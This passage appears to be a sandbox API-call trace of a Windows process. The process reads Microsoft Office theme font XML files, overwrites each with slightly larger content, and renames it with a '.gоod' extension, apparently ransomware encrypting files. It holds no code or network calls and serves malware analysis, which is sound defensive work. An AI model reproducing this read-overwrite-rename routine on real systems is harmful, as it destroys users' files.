lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdc0 [0161.034] ReadFile (in: hFile=0x63c, lpBuffer=0x35970c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x35970c8*, lpNumberOfBytesRead=0x200ec818*=0xdc0, lpOverlapped=0x0) returned 1 [0161.036] CloseHandle (hObject=0x63c) returned 1 [0161.358] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml", lpFilePart=0x0) returned 0x51 [0161.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0161.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0161.359] GetFileType (hFile=0x768) returned 0x1 [0161.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0161.359] GetFileType (hFile=0x768) returned 0x1 [0161.359] WriteFile (in: hFile=0x768, lpBuffer=0x3673c70*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3673c70*, lpNumberOfBytesWritten=0x200ec728*=0xdd0, lpOverlapped=0x0) returned 1 [0161.360] CloseHandle (hObject=0x768) returned 1 [0161.360] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml", lpFilePart=0x0) returned 0x51 [0161.360] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml.gоod", lpFilePart=0x0) returned 0x56 [0161.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0161.360] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c63d44e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdd0)) returned 1 [0161.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0161.360] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Candara.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\candara.xml.gоod")) returned 1 [0161.361] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml", lpFilePart=0x0) returned 0x6a [0161.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0161.361] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml"), fInfoLevelId=0x0, lpFileInformation=0x3674f48 | out: lpFileInformation=0x3674f48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1151b8e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1151b8e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe38)) returned 1 [0161.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0161.361] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml", lpFilePart=0x0) returned 0x6a [0161.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0161.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0161.362] GetFileType (hFile=0x768) returned 0x1 [0161.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0161.362] GetFileType (hFile=0x768) returned 0x1 [0161.362] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xe38 [0161.362] ReadFile (in: hFile=0x768, lpBuffer=0x3676118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3676118*, lpNumberOfBytesRead=0x200ec818*=0xe38, lpOverlapped=0x0) returned 1 [0161.771] CloseHandle (hObject=0x768) returned 1 [0162.433] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml", lpFilePart=0x0) returned 0x6a [0162.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0162.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0162.434] GetFileType (hFile=0x644) returned 0x1 [0162.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0162.434] GetFileType (hFile=0x644) returned 0x1 [0162.435] WriteFile (in: hFile=0x644, lpBuffer=0x37ba710*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x37ba710*, lpNumberOfBytesWritten=0x200ec728*=0xe40, lpOverlapped=0x0) returned 1 [0162.435] CloseHandle (hObject=0x644) returned 1 [0162.436] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml", lpFilePart=0x0) returned 0x6a [0162.436] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml.gоod", lpFilePart=0x0) returned 0x6f [0162.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0162.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1151b8e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1151b8e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d085687, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe40)) returned 1 [0162.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0162.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic-Palatino Linotype.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic-palatino linotype.xml.gоod")) returned 1 [0162.437] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml", lpFilePart=0x0) returned 0x58 [0162.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0162.437] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml"), fInfoLevelId=0x0, lpFileInformation=0x37bba78 | out: lpFileInformation=0x37bba78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd7)) returned 1 [0162.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0162.437] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml", lpFilePart=0x0) returned 0x58 [0162.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0162.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0162.437] GetFileType (hFile=0x644) returned 0x1 [0162.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0162.437] GetFileType (hFile=0x644) returned 0x1 [0162.437] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdd7 [0162.437] ReadFile (in: hFile=0x644, lpBuffer=0x37bcb58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x37bcb58*, lpNumberOfBytesRead=0x200ec818*=0xdd7, lpOverlapped=0x0) returned 1 [0163.053] CloseHandle (hObject=0x644) returned 1 [0163.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml", lpFilePart=0x0) returned 0x58 [0163.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0163.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.092] GetFileType (hFile=0x644) returned 0x1 [0163.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0163.092] GetFileType (hFile=0x644) returned 0x1 [0163.092] WriteFile (in: hFile=0x644, lpBuffer=0x34b8f88*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x34b8f88*, lpNumberOfBytesWritten=0x200ec728*=0xde0, lpOverlapped=0x0) returned 1 [0163.093] CloseHandle (hObject=0x644) returned 1 [0163.093] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml", lpFilePart=0x0) returned 0x58 [0163.093] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml.gоod", lpFilePart=0x0) returned 0x5d [0163.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0163.094] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d6c7996, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xde0)) returned 1 [0163.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0163.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Gothic.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century gothic.xml.gоod")) returned 1 [0163.094] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml", lpFilePart=0x0) returned 0x5c [0163.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0163.094] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml"), fInfoLevelId=0x0, lpFileInformation=0x34ba290 | out: lpFileInformation=0x34ba290*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe1f)) returned 1 [0163.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0163.095] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml", lpFilePart=0x0) returned 0x5c [0163.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0163.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.095] GetFileType (hFile=0x644) returned 0x1 [0163.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0163.095] GetFileType (hFile=0x644) returned 0x1 [0163.095] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xe1f [0163.095] ReadFile (in: hFile=0x644, lpBuffer=0x34bb3d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x34bb3d8*, lpNumberOfBytesRead=0x200ec818*=0xe1f, lpOverlapped=0x0) returned 1 [0163.225] CloseHandle (hObject=0x644) returned 1 [0163.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml", lpFilePart=0x0) returned 0x5c [0163.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0163.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.263] GetFileType (hFile=0x644) returned 0x1 [0163.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0163.263] GetFileType (hFile=0x644) returned 0x1 [0163.263] WriteFile (in: hFile=0x644, lpBuffer=0x34b3200*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x34b3200*, lpNumberOfBytesWritten=0x200ec728*=0xe20, lpOverlapped=0x0) returned 1 [0163.264] CloseHandle (hObject=0x644) returned 1 [0163.264] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml", lpFilePart=0x0) returned 0x5c [0163.264] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml.gоod", lpFilePart=0x0) returned 0x61 [0163.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0163.264] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d86b34a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe20)) returned 1 [0163.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0163.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Century Schoolbook.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\century schoolbook.xml.gоod")) returned 1 [0163.265] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml", lpFilePart=0x0) returned 0x5a [0163.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0163.265] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml"), fInfoLevelId=0x0, lpFileInformation=0x34b4520 | out: lpFileInformation=0x34b4520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdda)) returned 1 [0163.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0163.265] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml", lpFilePart=0x0) returned 0x5a [0163.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0163.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.265] GetFileType (hFile=0x644) returned 0x1 [0163.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0163.265] GetFileType (hFile=0x644) returned 0x1 [0163.265] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdda [0163.265] ReadFile (in: hFile=0x644, lpBuffer=0x34b5618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x34b5618*, lpNumberOfBytesRead=0x200ec818*=0xdda, lpOverlapped=0x0) returned 1 [0163.305] CloseHandle (hObject=0x644) returned 1 [0163.344] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml", lpFilePart=0x0) returned 0x5a [0163.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0163.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0163.346] GetFileType (hFile=0x644) returned 0x1 [0163.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0163.346] GetFileType (hFile=0x644) returned 0x1 [0163.346] WriteFile (in: hFile=0x644, lpBuffer=0x3386118*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3386118*, lpNumberOfBytesWritten=0x200ec728*=0xde0, lpOverlapped=0x0) returned 1 [0163.347] CloseHandle (hObject=0x644) returned 1 [0163.347] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml", lpFilePart=0x0) returned 0x5a [0163.347] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml.gоod", lpFilePart=0x0) returned 0x5f [0163.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0163.347] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, 